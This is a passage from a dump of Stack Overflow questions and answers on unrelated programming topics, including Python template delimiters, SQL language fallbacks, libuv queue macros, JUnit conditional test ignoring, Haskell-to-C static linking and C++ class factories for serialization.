{(?P&lt;braced&gt;[_a-z][_a-z0-9]*)} | # delimiter and a braced identifier (?P&lt;invalid&gt;) # Other ill-formed delimiter exprs ) ''' class TemplateAlternative(Template): delimiter = '[-' pattern = r''' \[-(?: (?P&lt;escaped&gt;-) | # Expression [-- will become [- (?P&lt;named&gt;[^\[\]\n-]+)-\] | # -, [, ], and \n can't be used in names \b\B(?P&lt;braced&gt;) | # Braced names disabled (?P&lt;invalid&gt;) # ) ''' &gt;&gt;&gt; t = TemplateClone("$hi sir") &gt;&gt;&gt; t.substitute({"hi": "hello"}) 'hello sir' &gt;&gt;&gt; ta = TemplateAlternative("[-hi-] sir") &gt;&gt;&gt; ta.substitute({"hi": "have a nice day"}) 'have a nice day sir' &gt;&gt;&gt; ta = TemplateAlternative("[--[-hi-]-]") &gt;&gt;&gt; ta.substitute({"hi": "have a nice day"}) '[-have a nice day-]' </code></pre> <p>Apparently it is also possible to just omit any of the regex groups <code>escaped</code>, <code>named</code>, <code>braced</code> or <code>invalid</code> to disable it.</p>
24577065	0	 <p>Here You have two options. Either do this by subselects or once per save/update walk through all the information descriptions and update the missing languages with the texts from the default ones.</p> <p>The first solution could be:</p> <pre><code>SELECT id.information_id, id.language_id, id.description, CASE WHEN id.title IS NOT NULL /* or CASE WHEN id.title &lt;&gt; '' - depending on the real value in DB when it's empty */ THEN id.title ELSE (SELECT title FROM information_description WHERE language_id = 1) AS title FROM information_description id WHERE id.language_id = 2 </code></pre> <p>I would call such query only in the case when the language ID differs from the default one. Since this may look like working solution I don't like it simply because it increases the DB effort.</p> <p>Instead of this I recommend to simply update Your missing data in similar way (this could be done maybe only once per life and you are done):</p> <pre><code>UPDATE information_description id SET id.title = (SELECT title FROM information_description WHERE language_id = 1 AND information_id = id.information_id) WHERE id.language_id &lt;&gt; 1 AND id.title IS NULL </code></pre> <p>for title and</p> <pre><code>UPDATE information_description id SET id.description = (SELECT description FROM information_description WHERE language_id = 1 AND information_id = id.information_id) WHERE id.language_id &lt;&gt; 1 AND id.description IS NULL </code></pre> <p>for description fields...</p>
32920293	0	The code is giving Multiple Marker at this line <p>This line giving errors I am not able to find any clue kindly help me..?? I have added all the related jar files then also its giving error please check code and help</p> <pre><code>Properties properties = System.getProperties(); properties.setProperty("mail.smtp.host", host); </code></pre>
4562075	0	 <p>unsigned = a none positive / negative number, so you couldnt have -1 as the "-" is a sign.</p> <p>zerofill = fill it with zeros by default. Not necessary as the column's already got the auto_increment / pk attributes</p> <p>key = index this column i.e. make SELECTS that search on this column faster.</p> <p>Ta </p>
24728787	0	 <p>I posted a fix for this <a href="http://stackoverflow.com/a/24728537/2016196">here</a></p> <p>You can use this function to modify <code>JSON.stringify</code> to encode <code>arrays</code>, just post it near the beginning of your script (check the link above for more detail):</p> <pre><code>// Upgrade for JSON.stringify, updated to allow arrays (function(){ // Convert array to object var convArrToObj = function(array){ var thisEleObj = new Object(); if(typeof array == "object"){ for(var i in array){ var thisEle = convArrToObj(array[i]); thisEleObj[i] = thisEle; } }else { thisEleObj = array; } return thisEleObj; }; var oldJSONStringify = JSON.stringify; JSON.stringify = function(input){ if(oldJSONStringify(input) == '[]') return oldJSONStringify(convArrToObj(input)); else return oldJSONStringify(input); }; })(); </code></pre>
34248084	0	 <p>I think this tutorial will help you a lot to access Windows IoT device via PowerShell:<br/> <a href="https://www.hackster.io/AnuragVasanwala/windows-10-iot-core-setting-startup-app-887ed0" rel="nofollow">https://www.hackster.io/AnuragVasanwala/windows-10-iot-core-setting-startup-app-887ed0</a></p> <p>This article reveals how to set specific Universal App as startup app but also covers the basic aspects of PowerShell, how to connect to it and some known issue(s).</p>
24192384	0	 <p>Instead of having multiple divs within the gray div, and checking whether a certain one is clicked or not, and then removing the clicked class, you could just use jQuery's <code>.html()</code> or <code>.text()</code> to set up the corresponding text within your gray div. Read about them more here: </p> <p><a href="http://api.jquery.com/html/" rel="nofollow">http://api.jquery.com/html/</a></p> <p><a href="http://api.jquery.com/text/" rel="nofollow">http://api.jquery.com/text/</a></p>
25186839	0	 <p>Well you cannot actually get session time with an AJAX request as the request it self will also reset the session timeout time. What you can do is get it when you are rendering the page in a js function and start a counter with <code>setTimeout</code> when and show your message pop when less then 30 seconds left.</p>
38405091	0	Straighten and concatenate the individual grids from ndgrid <p>I'm trying to do the following in a general way:</p> <pre><code>x = {0:1, 2:3, 4:6}; [a,b,c] = ndgrid(x{:}); Res = [a(:), b(:), c(:)] Res = 0 2 4 1 2 4 0 3 4 1 3 4 0 2 5 1 2 5 0 3 5 1 3 5 0 2 6 1 2 6 0 3 6 1 3 6 </code></pre> <p>I believe I have to start the following way, but I can't figure out how to continue:</p> <pre><code>cell_grid = cell(1,numel(x)); [cell_grid{:}] = ndgrid(x{:}); [cell_grid{:}] ans = ans(:,:,1) = 0 0 2 3 4 4 1 1 2 3 4 4 ans(:,:,2) = 0 0 2 3 5 5 1 1 2 3 5 5 ans(:,:,3) = 0 0 2 3 6 6 1 1 2 3 6 6 </code></pre> <p>I can solve this in many ways for the case with three variables <code>[a, b, c]</code>, both with and without loops, but I start to struggle when I get more vectors. Reshaping it directly will not give the correct result, and mixing reshape with permute becomes really hard when I have arbitrary number of dimensions.</p> <p>Can you think of a clever way to do this that scales to 3-30 vectors in <code>x</code>?</p>
29208748	0	Some questions with the source of the libuv? <p>Recently,I read the source of libuv. There are some questions when read the QUEUE.h</p> <p><strong>Firstly:</strong> The macro define below：</p> <pre><code>typedef void *QUEUE[2]; #define QUEUE_NEXT(q) (*(QUEUE **) &amp;((*(q))[0])) #define QUEUE_PREV(q) (*(QUEUE **) &amp;((*(q))[1])) </code></pre> <p>Can I redefine the QUEUE_PREV(q) as:</p> <pre><code>#define QUEUE_PREVR(q) ((QUEUE *) &amp;((*(q))[1])) </code></pre> <p><strong>what is the diffrence between them?</strong></p> <p><strong>Secondly:</strong> I try the code below:</p> <pre><code>typedef struct{ int i1; int i5 ; int i6; }s1; typedef struct { int j1; int j2; int j3; }s2; s1 i = { 1, 2 ,61}; s2 j = { 97, 99, 90 }; QUEUE a; a[0] = &amp;i; a[1] = &amp;j; cout &lt;&lt; (QUEUE*)(&amp;((*(&amp;a))[1])) &lt;&lt; endl; cout &lt;&lt; *(QUEUE*)(&amp;((*(&amp;a))[1])) &lt;&lt; endl; </code></pre> <p><strong>The result is same on the console,But why? Don't the "*" works?? I write this code with VS2013.</strong></p>
16964975	0	How to choose the right kernel functions <p>I have a very general question: how do I choose the right kernel function for SVM? I know the ultimate answer is try all the kernels, do out-of-sample validation, and pick the one with best classification result. But other than that, is there any guideline of trying the different kernel functions? </p>
7228982	0	 <p>If you are using OS X hardware with an NVIDIA GPU, both <a href="http://www.culatools.com/" rel="nofollow">CULA</a> and <a href="http://www.accelereyes.com/" rel="nofollow">Jacket</a> includes SVD routines, and both are available for OS X (as far as I know). But I am not aware of anything similar for OpenCL.</p>
4415024	0	 <p>This is an old question but you never really got an answer about run vs poll. </p> <p>io_service::run will keep running as long as there is something to do, such as waiting on a deadline timer or IO completion notification, etc. This is why there is the work object to keep run from exiting. </p> <p>io_service::poll will only execute ready handlers, and will not return until there are no more handlers ready to be dispatched. </p> <p>The difference in other words is that run will wait for a pending handler to be ready, like a timer or IO completion notification, while poll will return in that situation. </p> <p>This behavior is useful if you want to perform some idle processing. </p>
14858239	0	 <p>The error above occurs when you return certain objects (XML, Socket) from a function call, but the return values does not get assigned anywhere.</p> <pre><code>function test() { var xml = new XML('&lt;test /&gt;'); return xml; } test(); </code></pre> <p>The above will cause an error. To get around it you have to assign the return value somewhere.</p> <pre><code>var result = test(); </code></pre> <hr> <p>Try to put all collect all function calls result. I am not sure which one causes the error.</p> <pre><code>var reply = ""; var conn = new Socket; // access Adobe’s home page if (conn.open ("www.adobe.com:80")) { // send a HTTP GET request var result = conn.write ("GET /index.html HTTP/1.0\n\n"); // and read the server’s reply reply = conn.read(999999); var close = conn.close(); } </code></pre>
30642633	0	How to sort Arraylist consisting of pojo class in java <p>I have POJO class Student like this</p> <pre><code>class Student { private int score; private String FirstName; //Getters and setters ................. } </code></pre> <p>I am creating ArrayList like this</p> <pre><code>public static void main(String[] args) { List&lt;Student&gt; al_students= new ArrayList&lt;Student&gt;(); Student s1= new Student(); s1.setScore(90); s1.setFirstName("abc"); al_students.add(s1); Student s2= new Student(); s2.setScore(95); s2.setFirstName("def"); al_students.add(s2); Student s3= new Student(); s3.setScore(85); s3.setFirstName("xyz"); al_students.add(s3); } </code></pre> <p>Now I want to sort it based on scores in descending order i.e<br> output</p> <pre><code>1)def 95 2)abc 90 3)xyz 85 </code></pre>
589655	0	 <p>It says in the <a href="http://www.boost.org/users/faq.html" rel="nofollow noreferrer">Boost Faq</a>:</p> <blockquote> <p>What do the Boost version numbers mean? The scheme is x.y.z, where x is incremented only for massive changes, such as a reorganization of many libraries, y is incremented whenever a new library is added, and z is incremented for maintenance releases. y and z are reset to 0 if the value to the left changes.</p> </blockquote>
27452005	0	 <p>One possibility is that your <code>Stripe.rb</code> edits have not been loaded.</p> <ol> <li><p>Quit your server with <code>ctrl + c</code></p></li> <li><p><code>$ spring stop</code><br> => Spring stopped</p></li> <li><p><code>$ rails server</code></p></li> </ol>
35309518	0	 <p>This is not a perfect solution, but at least gets you going. Probably this is caused by some bug in compass which leads to invalid <code>sass_path</code>. So set the <code>sass_path</code> manually like this: </p> <pre><code>project_type = :stand_alone # Set this to the root of your project when deployed: project_path = "../../" http_path = "www" # The path to the project when running within the web server. css_dir = "www/css" # relative to project_path sass_dir = "www/sass" # relative to project_path sass_path = File.expand_path(File.join(project_path, sass_dir)) images_dir = "www/images" # relative to project_path javascripts_dir = "www/js" # relative to project_path # You can select your preferred output style here (can be overridden via the command line): # output_style = :expanded or :nested or :compact or :compressed output_style = :compressed # To enable relative paths to assets via compass helper functions. Uncomment: relative_assets = true # generate sourcemaps sourcemap = true </code></pre> <p>And then you should be able to build individual sass files by using command <code>compass compile ../../www/sass/builder.scss</code></p>
1689242	0	Conditionally ignoring tests in JUnit 4 <p>OK, so the <code>@Ignore</code> annotation is good for marking that a test case shouldn't be run.</p> <p>However, sometimes I want to ignore a test based on runtime information. An example might be if I have a concurrency test that needs to be run on a machine with a certain number of cores. If this test were run on a uniprocessor machine, I don't think it would be correct to just pass the test (since it hasn't been run), and it certainly wouldn't be right to fail the test and break the build.</p> <p>So I want to be able to ignore tests at runtime, as this seems like the right outcome (since the test framework will allow the build to pass but record that the tests weren't run). I'm fairly sure that the annotation won't give me this flexibility, and suspect that I'll need to manually create the test suite for the class in question. However, the documentation doesn't mention anything about this and looking through the <a href="http://junit.org/apidocs/junit/framework/TestSuite.html" rel="nofollow noreferrer">API</a> it's also not clear how this would be done programmatically (i.e. how do I programatically create an instance of <code>Test</code> or similar that is equivalent to that created by the <code>@Ignore</code> annotation?).</p> <p>If anyone has done something similar in the past, or has a bright idea of how else I could go about this, I'd be happy to hear about it.</p>
34965429	0	Giving VersionPress write permissions via ssh on bitnami WP ami running on EC2 instance <p>Thanks in advance for your patience and support helping me with this issue. I can normally work around most problems by reading online, but when it comes to linux and ssh I cant - it's too complex. No two explanations seem the same.</p> <p>The problem is this:</p> <p>I launched an EC2 instance using the bitnami wordpress ami (i think its an ami?) and everything works great. </p> <p>Im super excited about this new wordpress project called VersionPress, link below. </p> <p>I managed to install git and get a tick in that box. Now I need to satisfy the plugin's requirements for write permission on several folders.</p> <p>I've been reading up on chmod, and checking out what permission are currently in place using ssh, but can not, for the life of me, make sense of it. </p> <p>The info on what VersonPress needs is here: <a href="http://docs.versionpress.net/en/getting-started/installation-uninstallation" rel="nofollow">http://docs.versionpress.net/en/getting-started/installation-uninstallation</a></p> <p>If we take for example the plugins own folder /versionpress, I can navigate to it and see the current permissions using ls:</p> <p>drwxr-xr-x 7 bitnami bitnami ... versionpress</p> <p>So I'm like ok, I suppose I'd better give group write permissions. But, no version of the chmod command I write will execute and even then, it's only one of the folders that I need to change. </p> <p>UPDATE: I added '~' and got chmod working on the /versionpress dir</p> <p>As a next step I tried to change rights on /wordpress dir. This was initially unsuccessful until I applied command with Sudo. </p> <p>VersionPress still reports it does not have the correct permissions however. </p> <p>Error msg: VersionPress needs write access in the site root, its nested directories and the system temp directory. Please update the permissions.</p> <p>END UPDATE</p> <p>Anyone experienced this, got VersionPres up and running on EC2 or with any advice to move me forward? </p> <p>Thanks.</p>
18543228	0	Statically linking a C library with a Haskell library <p>I have a Haskell project that aims to create some C++ bindings. I've written the C wrappers and compiled them into a stand-alone statically linked library. </p> <p>I'd like to write the Haskell bindings to link statically to the C wrappers so that I don't have to distribute the C wrappers separately but I can't seem to get it working and would appreciate some help.</p> <p>I specify the C library as an extra library but my <code>cabal build</code> step doesn't seem to add it to compile command.</p> <p>I've created a small project to illustrate this (<a href="http://github.com/deech/CPlusPlusBindings">http://github.com/deech/CPlusPlusBindings</a>).</p> <p>It contains a small C++ class (<a href="https://github.com/deech/CPlusPlusBindings/tree/master/cpp-src">https://github.com/deech/CPlusPlusBindings/tree/master/cpp-src</a>), the C wrapper (<a href="https://github.com/deech/CPlusPlusBindings/tree/master/c-src">https://github.com/deech/CPlusPlusBindings/tree/master/c-src</a>), a working C test routine (<a href="https://github.com/deech/CPlusPlusBindings/tree/master/c-test">https://github.com/deech/CPlusPlusBindings/tree/master/c-test</a>) and the Haskell file (<a href="https://github.com/deech/CPlusPlusBindings/blob/master/src/BindingTest.chs">https://github.com/deech/CPlusPlusBindings/blob/master/src/BindingTest.chs</a>).</p> <p>The C library is added in Setup.hs not in the Cabal file because that's how I have it my real project which builds the C library using "make" through Cabal just before the build stepf. I have verified that at the build step the <code>extraLibs</code> part of <code>BuildInfo</code> contains the library name and <code>extraLibDirs</code> contains the right directory. </p> <p>The output of my <code>cabal build</code> is:</p> <pre><code>creating dist/setup ./dist/setup/setup build --verbose=2 creating dist/build creating dist/build/autogen Building CPlusPlusBinding-0.1.0.0... Preprocessing library CPlusPlusBinding-0.1.0.0... Building library... creating dist/build /usr/local/bin/ghc --make -fbuilding-cabal-package -O -odir dist/build -hidir dist/build -stubdir dist/build -i -idist/build -isrc -idist/build/autogen -Idist/build/autogen -Idist/build -I/home/deech/Old/Haskell/CPlusPlusBinding/c-src -I/home/deech/Old/Haskell/CPlusPlusBinding/cpp-includes -optP-include -optPdist/build/autogen/cabal_macros.h -package-name CPlusPlusBinding-0.1.0.0 -hide-all-packages -package-db dist/package.conf.inplace -package-id base-4.6.0.1-8aa5d403c45ea59dcd2c39f123e27d57 -XHaskell98 -XForeignFunctionInterface BindingTest Linking... /usr/bin/ar -r dist/build/libHSCPlusPlusBinding-0.1.0.0.a dist/build/BindingTest.o /usr/bin/ar: creating dist/build/libHSCPlusPlusBinding-0.1.0.0.a /usr/bin/ld -x --hash-size=31 --reduce-memory-overheads -r -o dist/build/HSCPlusPlusBinding-0.1.0.0.o dist/build/BindingTest.o In-place registering CPlusPlusBinding-0.1.0.0... /usr/local/bin/ghc-pkg update - --global --user --package-db=dist/package.conf.inplace </code></pre> <p>Unfortunately neither the compilation nor the linking step uses the C library. There are no other warnings or errors.</p>
36125312	0	 <p>If you study the following simplified example you will understand why deleting elements of the array over which you are iterating caused the result you obtained.</p> <pre><code>s = "two lions" s = s.split("") puts "s.split=#{s}" for i in 0..s.length - 1 do puts "i=#{i}" str = s[i] puts " str=/#{str}/" if ["a","e","i","o","u"].include?(s[i]) puts " str is a vowel" s.delete_at(i) puts " s after delete_at(#{i})=#{s}" end end puts "s after loop=#{s}" puts "s.join=#{s.join}" s.join </code></pre> <p>prints</p> <pre><code>s.split=["t", "w", "o", " ", "l", "i", "o", "n", "s"] i=0 str=/t/ i=1 str=/w/ i=2 str=/o/ str is a vowel s after delete_at(2)=["t", "w", " ", "l", "i", "o", "n", "s"] </code></pre> <p>The space is skipped.</p> <pre><code>i=3 str=/l/ i=4 str=/i/ str is a vowel s after delete_at(4)=["t", "w", " ", "l", "o", "n", "s"] </code></pre> <p>"o" is now at index 4 and "n" is at index 5.</p> <pre><code>i=5 str=/n/ i=6 str=/s/ i=7 str=// i=8 str=// s after loop=["t", "w", " ", "l", "o", "n", "s"] s.join=tw lons </code></pre>
18650163	0	 <p>index.php or index.html <em>should</em> be the default files loaded by your server when visiting a site, not home.html. Try clearing your cache. If that doesn't help it could be an issue in httpd.conf - but that sounds kind of extreme in this scenario.</p> <p>You can also look into using mod_rewrite in your .htaccess file so the redirect happens at the server level</p> <pre><code>Options +FollowSymLinks -MultiViews RewriteEngine On RewriteBase / # redirect home.html to index.php RewriteRule ^home.html index.php [R=301,L] </code></pre>
9957399	0	 <p>You can put condition on the rows that you want to fetch, the where clause is responsible for it. The columns that you want are to be specified in the select statement only, there is no way to specify which column to be selected. Once you have the results you can decide which columns to use, depending upon the value.</p>
6363825	0	TableViewer cell editor not working - SWT <p>I am trying to implement an editable table viewer in Eclipse SWT. I think I've done everything ok until now, problem is the table is not editable - nothing happens if I click on any row. </p> <p>I have registered some CellEditors with all my columns:</p> <pre><code>CellEditor[] editors = new CellEditor[columnNames.length]; editors[0] = new TextCellEditor(table); //do the above for all columns tableViewer.setCellEditors(editors); </code></pre> <p>and then I specify a cell modifier for my table:</p> <pre><code>tableViewer.setCellModifier(new CellModifier(this)); </code></pre> <p>The CellModifier class looks like this:</p> <pre><code>public class CellModifier implements ICellModifier{ private DBStructureView dbView; public CellModifier(DBStructureView view){ super(); this.dbView = view; } @Override public boolean canModify(Object element, String property) { return true; } @Override public Object getValue(Object element, String property) { int columnIndex = dbView.getColumnNames().indexOf(property); Object result = null; AttributeNode node = (AttributeNode) element; switch(columnIndex){ case 0://row id result = node.getRow(); case 1://name result = node.getName(); case 2://value result = node.getValue(); default: result = "unknown"; } System.out.println(result); return result; } @Override public void modify(Object element, String property, Object value) { int columnIndex = dbView.getColumnNames().indexOf(property); TableItem item = (TableItem) element; AttributeNode node = (AttributeNode)item.getData(); String valueString; switch(columnIndex){ case 0: valueString = ((String) value).trim(); node.setRow(valueString); break; case 1: valueString = ((String) value).trim(); node.setName(valueString); break; case 2: valueString = ((String) value).trim(); node.setValue(valueString); break; default: break; } } } </code></pre> <p>Having done all this, what can go wrong?</p> <p>Thanks in advance!</p>
27820681	0	illegal text-relocoation (direct reference) to (global,weak) for architecture i386 <p>Searching about shows this error in a number of mailing lists, but neither a general solution nor explanation is forthcoming.</p> <p>What does <code>illegal text-relocoation (direct reference) to (global,weak)</code> mean and how can it be resolved.</p> <p>Specifically, I have built ffmpeg-2.5.2 using <a href="https://github.com/kewlbear/FFmpeg-iOS-build-script" rel="nofollow">this script</a>. When building XCode tests that use it, there is the following error:</p> <pre><code>ld: illegal text-relocoation (direct reference) to (global,weak) _ff_h264_cabac_tables in &lt;...&gt;/myLib.a(cabac.o) from _ff_h264_decode_mb_cabac in &lt;...&gt;/myLib.a(h264_cabac.o) for architecture i386 </code></pre> <p>Does this require compiler/linker options to fix, or some kind of code change?</p>
9701198	0	 <p>The betterway to Achieve this effect is to measure speed/over/distance this formula will be easier and a lot less code.Doing it this way you wouldnt need any tween library's.</p> <pre><code> var MaskCenter=100; var speed=1/10; var distance=boxdummy.mouseX-MaskCenter; if(mouseX&lt;250){ box.x-=(distance*speed); } if (mouseX&gt;250) { box.x -= speed + accel; } </code></pre> <p>Something like that! </p> <p>If you cant work it, let me know i will make up a (fla) file for you</p>
10739574	0	 <p>Have you considered a <a href="http://www.smashingmagazine.com/2008/05/06/25-wysiwyg-editors-reviewed/" rel="nofollow">WYSIWYG editor</a>? For example the editor in which you typed your question in this site is <a href="http://code.google.com/p/wmd/" rel="nofollow">WMD</a> and it allows to bold the text.</p>
32065980	0	Is there an alternate syntax to typedef function pointers? <p>For doing a typedef for a function pointer, we do something like this,</p> <pre><code>typedef int (*func) (char*); typedef struct{ char * name; func f1; } </code></pre> <p>As opposed to this, I came across a code, which I don't understand.</p> <pre><code>typedef int rl_icpfunc_t (char *); typedef struct { char *name; /* User printable name of the function. */ rl_icpfunc_t *func; /* Function to call to do the job. */ char *doc; /* Documentation for this function. */ }COMMAND; </code></pre> <p>This is a code snippet from an example of the libedit library. Can someone please explain this to me?</p>
24334727	1	Is is possible to put a time.sleep(n) in a list comprehension? <p>Is it possible to put a <code>time.sleep(n)</code> in a list comprehension to print each item in the list with a delay between each print?</p> <pre><code>import random, time outside_lights = ['LED_fgate', 'LED_rgate', 'LED_mandoor', 'LED_garage', 'LED_garWin', 'LED_rgb', 'LED_deckOld', 'LED_deckNew', 'LED_cleartube', 'LED_cleartube2' ] random.shuffle(outside_lights, random.random) print [i for i in outside_lights] </code></pre>
22323217	0	mongo_client() fail with error MONGO_CONN_ADDR_FAIL <p>I want to use mongodb c driver in my project, I'm on Windows 7 so built it with command :</p> <blockquote> <p>scons --m32 --c99</p> </blockquote> <p>My problem is I can't make the <a href="http://api.mongodb.org/c/current/tutorial.html#connecting" rel="nofollow">Connecting example</a> work :</p> <pre><code>#include &lt;stdio.h&gt; #define MONGO_HAVE_STDINT #include "mongo.h" int main() { mongo conn[1]; int status = mongo_client( conn, "127.0.0.1", 27017 ); printf("status %d, err %d", status, conn-&gt;err); mongo_destroy( conn ); return 0; } </code></pre> <p>Whether mongod is running on my machine or not, the output of executing the exe is : </p> <blockquote> <p>$ ./mongodb_example.exe status -1, err 3</p> </blockquote> <p>Error <code>3</code> <a href="http://api.mongodb.org/c/current/api/mongo_8h.html#a5e6f76bd796c89973ffb463e676237bba616d4918c05106a74cb200834ad0ec4e" rel="nofollow">corresponds</a> to MONGO_CONN_ADDR_FAIL error code (An error occured while calling getaddrinfo()).</p> <p>Any suggestion about how to connect successfully ?</p> <p><strong>Updates:</strong> </p> <ul> <li>version is <code>mongodb-mongo-c-driver-v0.8.1-0-g8f27c0f</code></li> </ul>
10207141	0	Windows Phone 7 Play Vimeo Video <p>I am trying to get Vimeo videos to play in a windows 7 phone app, we need to online streaming specific video from vimeo in our Application. i have revieved following links but still i have not found any solution.</p> <ul> <li><a href="http://stackoverflow.com/questions/7521981/play-vimeo-videos-in-windows-7-phone">Play Vimeo Videos in Windows 7 phone</a></li> <li><a href="http://stackoverflow.com/questions/7511851/windows-phone-7-playing-streaming-video">Windows Phone 7 - Playing streaming video</a></li> </ul> <p>any one know how to play online stream Vimeo video in Windows Phone 7 Application?</p> <p>Thanks In Advance.</p>
7012138	0	ASP.NET web control panel for a desktop application <p>I'm working on a C# windows application but I'd like to create a website to be hosted on the same machine that could provide monitoring, other people on the network would be able to login and see the state of certain variables, maybe trigger methods to turn things on and off. I'm looking for a point in the right direction as to how I'd go about doing this?</p> <p>Thanks, Ben</p>
26749255	0	 <p>Before using the "prompt" module, I used the ReadLine interface; sadly I had the same problem. However, the fix was simple:</p> <blockquote> <p>Remove the <code>rli.close();</code> and then run it.</p> <p>Then re-add the <code>rli.close();</code> and it works!</p> </blockquote> <p>Thanks mscdex for the input, though :)</p>
18755341	0	Handle $_GET requests with Clean URLs <p>I am have a clear URL based system so the categories will be shown like this </p> <pre><code>http://www.mysite.com/category/23/cat-name </code></pre> <p>Inside the categories page I have some sorting and pages options such as sorting by latests and lower price. Also, I have a pages navigation system</p> <p>The problem is when the request is happening inside the page the <code>$_GET[]</code> doesn't show the variables I need. However it shows in the URL as </p> <pre><code>http://www.mysite.com/category/23/cat-name?page=3 </code></pre> <p>The <code>$_GET</code> variable only shows the id of the category which is in our case now = <code>23</code> and ignored the page number which is in the url.</p> <p><code>.htaccess</code> content</p> <pre><code>RewriteEngine On RewriteRule ^category/([0-9]+)/[a-z][-a-z0-9]*$ cat.php?id=$1 </code></pre>
16483488	0	jsf listener on fullcalendar <p>I want to use the FullCalendar jQuery Plugin with JSF.</p> <p>But how can I add an f:ajax listener to an e.g. eventClick of the FullCalendar?</p> <p>Here's the code where I want to add a listener to:</p> <pre><code>&lt;ui:define name="content"&gt; &lt;div id="calendar"&gt; &lt;f:ajax event="eventClick" listener="#{scheduleController.onDateSelect}"/&gt; &lt;/div&gt; &lt;/ui:define&gt; &lt;ui:define name="jsFiles"&gt; &lt;script&gt; $(document).ready(function() { var calendar = $('#calendar').fullCalendar({ header : { left : 'prev,next today', center : 'title', right : 'month,agendaWeek,agendaDay' }, selectable : true, selectHelper : true, select : function(start, end, allDay) { var title = prompt('Event Title:'); if (title) { calendar.fullCalendar('renderEvent', { title : title, start : start, end : end, allDay : allDay }, true // make the event "stick" ); } calendar.fullCalendar('unselect'); }, editable : true, eventClick : function(event, element) { event.title = "CLICKED!"; $('#calendar').fullCalendar('updateEvent', event); } }); }); &lt;/script&gt; &lt;/ui:define&gt; </code></pre>
10846196	0	how is code for sending parameters to the JSON type URL? <p>hi all i am getting response like below URL but i have to pass NSString type parameters to the My required URL as like shown below how is code for sending request to the URL in iPhone? so plz give me any one for my request.</p> <h1>define kLatestKivaLoansURL [NSURL URLWithString: @"http://eventappmobiledev.cloudapp.net/EventDataService.svc/GetTechnologies?APIKey=62CB769C-E17E-484E-BE51-C144D062D076"]</h1>
29102751	0	 <p>Use single table inheritance of Post model</p> <pre><code> class class Post &lt; ActiveRecord::Base ..... end </code></pre> <p>Than inherit this Post model into these model.</p> <pre><code>class VideoPost &lt; Post end class ImagePost &lt; Post end </code></pre> <p>At migration you need to create a type column for different type of post. For details look at this <a href="http://blog.thirst.co/post/14885390861/rails-single-table-inheritance" rel="nofollow">blog post</a></p>
39413786	1	Can I make an ipywidget floatslider with a list of values? <p>I would like to make an ipywidget floatslider, but passing it a list of values, rather than a range and step. Is there a way to do this, or is making a dropdown widget the only option?</p>
36355248	0	 <p>You need to quote the argument, and you should use single quotes, <code>'</code>, in order to stop your shell from attempting to evaluate anything inside it.</p> <p>What happens is that every ampersand, "&amp;", on your command line launches a background process.</p> <p>The first process is <code>./demo 1 https://www.google.co.in/search?sourceid=chrome-psyapi2</code>, and all the following are assignments to variables.</p> <p>You can see from the output (it looks like you didn't post all of it)</p> <pre><code>[1] 8680 [2] 8681 [3] 8682 [4] 8683 [5] 8684 [6] 8685 [7] 8686 [2] Done ion=1 [3] Done espv=2 [4] Done ie=UTF-8 [6]- Done q=size%20of%20unsigned%20char%20array%20c%2B%2B </code></pre> <p>that background process 2 is <code>ion=1</code> (pid 8681), process 3 (pid 8682) is <code>espv=2</code>, and so on. </p>
4116288	0	 <p>Unless you have a compelling reason to use Axis I would rather stay with JAX-WS and JAXB. It's included in JDK 6 but could be used with JDK 5 as well. Supported in all modern Java EE containers (Websphere, Weblogic) but could be used in Servlet containers (Tomcat, Jetty) with just few jars from Reference Implementation (Metro). Minimum dependencies and 'just works' for most of the scenarios.</p>
19335973	0	 <p>In base class, create abstract virtual method that returns some kind of "ID". (string, int, enum, whatever).</p> <p>In "save" method, write ID first, for all classes. You could embed ID writing into base class, so derived classes won't override this behavior.</p> <pre><code>typedef SomeType ClassId; class Serializeable{ protected: virtual ClassId getClassId() const = 0; virtual void saveData(OutStream &amp;out) = 0; public: void save(OutStream &amp;out){ out &lt;&lt; getClassId(); saveData(out); } }; </code></pre> <p>Make a factory, that constructs required class given its ID.</p> <p>--edit--</p> <p>Example with factory (C++03 standard):</p> <pre><code>#include &lt;map&gt; #include &lt;string&gt; #include &lt;iostream&gt; #include &lt;QSharedPointer&gt; #include &lt;utility&gt; typedef std::string ClassId; typedef std::ostream OutStream; class Serializeable{ protected: virtual void saveData(OutStream &amp;out) = 0; public: virtual ClassId getClassId() const = 0; void save(OutStream &amp;out){ out &lt;&lt; getClassId(); saveData(out); } virtual ~Serializeable(){ } }; class Derived: public Serializeable{ protected: virtual void saveData(OutStream &amp;out){ out &lt;&lt; "test"; } public: virtual ClassId getClassId() const{ return "Derived"; } }; typedef QSharedPointer&lt;Serializeable&gt; SerializeablePtr; //basically std::shared_ptr SerializeablePtr makeDerived(){ return SerializeablePtr(new Derived()); } class ClassFactory{ protected: typedef SerializeablePtr (*BuilderCallback)(); typedef std::map&lt;ClassId, BuilderCallback&gt; BuilderMap; BuilderMap builderMap; template&lt;class C&gt; static SerializeablePtr defaultBuilderFunction(){ return SerializeablePtr(new C()); } public: SerializeablePtr buildClass(ClassId classId){ BuilderMap::iterator found = builderMap.find(classId); if (found == builderMap.end()) return SerializeablePtr();//or throw exception return (*(found-&gt;second))(); } void registerClass(ClassId classId, BuilderCallback callback){ builderMap[classId] = callback; } template&lt;typename T&gt; void registerClassByValue(const T &amp;val){ registerClass(val.getClassId(), ClassFactory::defaultBuilderFunction&lt;T&gt;); } template&lt;typename T&gt; void registerClassWithTemplate(ClassId classId){ registerClass(classId, ClassFactory::defaultBuilderFunction&lt;T&gt;); } }; int main(int argc, char** argv){ ClassFactory factory; std::string derivedId("Derived"); factory.registerClass(derivedId, makeDerived); SerializeablePtr created = factory.buildClass(derivedId); created-&gt;save(std::cout); std::cout &lt;&lt; std::endl; Derived tmp; factory.registerClassByValue(tmp); created = factory.buildClass(derivedId); created-&gt;save(std::cout); std::cout &lt;&lt; std::endl; factory.registerClassWithTemplate&lt;Derived&gt;(derivedId); created = factory.buildClass(derivedId); created-&gt;save(std::cout); std::cout &lt;&lt; std::endl; return 0; } </code></pre> <p><code>QSharedPointer</code> is smart pointer class from Qt 4, roughly equivalent to <code>std::shared_ptr</code>. Use either <code>std::shared_ptr</code> or <code>boost::shared_ptr</code> instead of <code>QSharedPointer</code> in your code.</p>
